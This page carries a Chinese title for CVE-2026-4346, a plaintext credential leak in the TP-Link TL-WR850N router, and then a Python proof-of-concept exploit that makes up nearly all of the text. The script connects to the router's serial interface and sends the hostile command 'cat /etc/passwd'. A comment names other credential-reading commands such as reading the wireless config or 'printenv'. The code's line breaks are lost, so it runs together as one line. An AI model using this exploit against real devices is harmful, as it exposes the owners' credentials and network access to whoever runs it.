CVE-2026-4346 TP-Link TL-WR850N路由器明文凭证泄露

import serial import time # Conceptual PoC for reading serial data # Target: TP-Link TL-WR850N v3 Serial Interface def exploit_serial(target_port='/dev/ttyUSB0', baud_rate=115200): try: # Connect to the serial port ser = serial.Serial(target_port, baud_rate, timeout=1) print(f"[+] Connected to {target_port} at {baud_rate} baud") # Wait for boot or prompt time.sleep(2) # Attempt to bypass weak auth or read memory (conceptual) # In a real scenario, specific commands like 'cat /etc/config/wireless' or 'printenv' would be used payload = b"cat /etc/passwd\n" # Example command to read credentials ser.write(payload) time.sleep(1) # Read response while ser.in_waiting > 0: response = ser.readline().decode('utf-8', errors='ignore') if response: print(response.strip()) ser.close() print("[+] Exploit finished.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_serial()